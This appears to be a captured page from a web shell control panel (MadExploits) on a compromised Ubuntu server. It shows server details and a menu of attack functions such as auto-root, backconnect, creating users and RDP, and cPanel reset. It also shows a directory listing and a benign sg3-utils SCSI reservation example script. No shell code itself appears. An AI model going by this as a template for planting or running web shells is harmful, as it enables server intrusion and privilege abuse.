Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 172.71.203.60
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
sg3-utils /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
archive
[ DIR ]
drwxr-xr-x
Makefile
3.08
KB
-rw-r--r--
Makefile.freebsd
1.98
KB
-rw-r--r--
README
776
B
-rw-r--r--
forwarded_sense.txt
296
B
-rw-r--r--
nvme_dev_self_test.hex
806
B
-rw-r--r--
nvme_identify_ctl.hex
1.17
KB
-rw-r--r--
reassign_addr.txt
465
B
-rw-r--r--
ref_sense.txt
305
B
-rw-r--r--
scsi_inquiry.c.gz
1.59
KB
-rw-r--r--
sdiag_sas_p0_cjtpat.txt
405
B
-rw-r--r--
sdiag_sas_p1_cjtpat.txt
464
B
-rw-r--r--
sdiag_sas_p1_idle.txt
560
B
-rw-r--r--
sdiag_sas_p1_stop.txt
359
B
-rw-r--r--
sg__sat_identify.c.gz
3.01
KB
-rw-r--r--
sg__sat_phy_event.c.gz
4.21
KB
-rw-r--r--
sg__sat_set_features.c.gz
3.33
KB
-rw-r--r--
sg_compare_and_write.txt
2.43
KB
-rw-r--r--
sg_excl.c.gz
1.99
KB
-rw-r--r--
sg_persist_tst.sh
3.54
KB
-rwxr-xr-x
sg_sat_chk_power.c.gz
3.24
KB
-rw-r--r--
sg_sat_smart_rd_data.c.gz
2.61
KB
-rw-r--r--
sg_simple1.c.gz
2
KB
-rw-r--r--
sg_simple16.c
3.41
KB
-rw-r--r--
sg_simple2.c.gz
2.09
KB
-rw-r--r--
sg_simple3.c.gz
2.1
KB
-rw-r--r--
sg_simple4.c.gz
2.33
KB
-rw-r--r--
sg_simple5.c.gz
1.89
KB
-rw-r--r--
sg_unmap_example.txt
1.6
KB
-rw-r--r--
sgq_dd.c.gz
8.95
KB
-rw-r--r--
transport_ids.txt
1.11
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sg_persist_tst.sh
#!/bin/sh # This script is meant as an example of using the sg_persist utility # in the sg3_utils package. This script works as expected on the # author's Fujitsu MAM3184, Seagate ST373455 and ST9146803SS disks. # # Version 2.0 20171104 # N.B. make sure the device name is correct for your environment. key="123abc" key2="333aaa" kk=${key} rtype="1" verbose="" usage() { echo "Usage: sg_persist_tst.sh [-e] [-h] [-s] [-v] <device>" echo " where:" echo " -e, --exclusive exclusive access (def: write " \ "exclusive)" echo " -h, --help print usage message" echo " -s, --second use second key" echo " -v, --verbose more verbose output" echo " -vv even more verbose output" echo " -vvv even more verbose output" echo "" echo "Test SCSI Persistent Reservations with sg_persist utility." echo "Default key is ${key} and alternate, second key is ${key2} ." echo "Should be harmless (unless one of those keys is already in use)." echo "The APTPL bit is not set in the PR register so a power cycle" echo "on the device will clear the reservation if this script stops" echo "(or is stopped) before clearing it. Tape drives only seem to " echo "support 'exclusive access' type (so use '-e')." } opt="$1" while test ! -z "$opt" -a -z "${opt##-*}"; do opt=${opt#-} case "$opt" in e|-exclusive) rtype="3" ;; h|-help) usage ; exit 0 ;; s|-second) kk=${key2} ;; vvv) verbose="-vvv" ;; vv) verbose="-vv" ;; v|-verbose) verbose="-v" ;; *) echo "Unknown option: -$opt " ; exit 1 ;; esac shift opt="$1" done if [ $# -lt 1 ] then usage exit 1 fi echo ">>> try to report capabilities:" sg_persist -c ${verbose} "$1" res=$? case "$res" in 0) ;; 1) echo " syntax error" ;; 2) echo " not ready" ;; 3) echo " medium error" ;; 5) echo " illegal request, report capabilities not supported?" ;; 6) echo " unit attention" ;; 9) echo " illegal request, Persistent Reserve (In) not supported" ;; 11) echo " aborted command" ;; 15) echo " file error with $1 " ;; 20) echo " no sense" ;; 21) echo " recovered error" ;; 33) echo " timeout" ;; 97) echo " response fails sanity" ;; 98) echo " other SCSI error" ;; 99) echo " other error" ;; *) echo " unknown exit status for sg_persist: $res" ;; esac echo "" sleep 1 echo ">>> check if any keys are registered:" sg_persist --no-inquiry --read-keys ${verbose} "$1" sleep 1 echo echo ">>> register a key:" sg_persist -n --out --register --param-sark=${kk} ${verbose} "$1" sleep 1 echo echo ">>> now key ${kk} should be registered:" sg_persist -n --read-keys ${verbose} "$1" sleep 1 echo echo ">>> reserve the device (based on key ${kk}):" sg_persist -n --out --reserve --param-rk=${kk} --prout-type=${rtype} ${verbose} "$1" sleep 1 echo echo ">>> check if the device is reserved (it should be now):" sg_persist -n --read-reservation ${verbose} "$1" sleep 1 echo echo ">>> try to 'read full status' (may not be supported):" sg_persist -n --read-full-status ${verbose} "$1" sleep 1 echo echo ">>> now release reservation:" sg_persist -n --out --release --param-rk=${kk} --prout-type=${rtype} ${verbose} "$1" sleep 1 echo echo ">>> check if the device is reserved (it should _not_ be now):" sg_persist -n --read-reservation ${verbose} "$1" sleep 1 echo echo ">>> unregister key ${kk}:" sg_persist -n --out --register --param-rk=${kk} ${verbose} "$1" sleep 1 echo echo ">>> now key ${kk} should not be registered:" sg_persist -n -k ${verbose} "$1" sleep 1
Close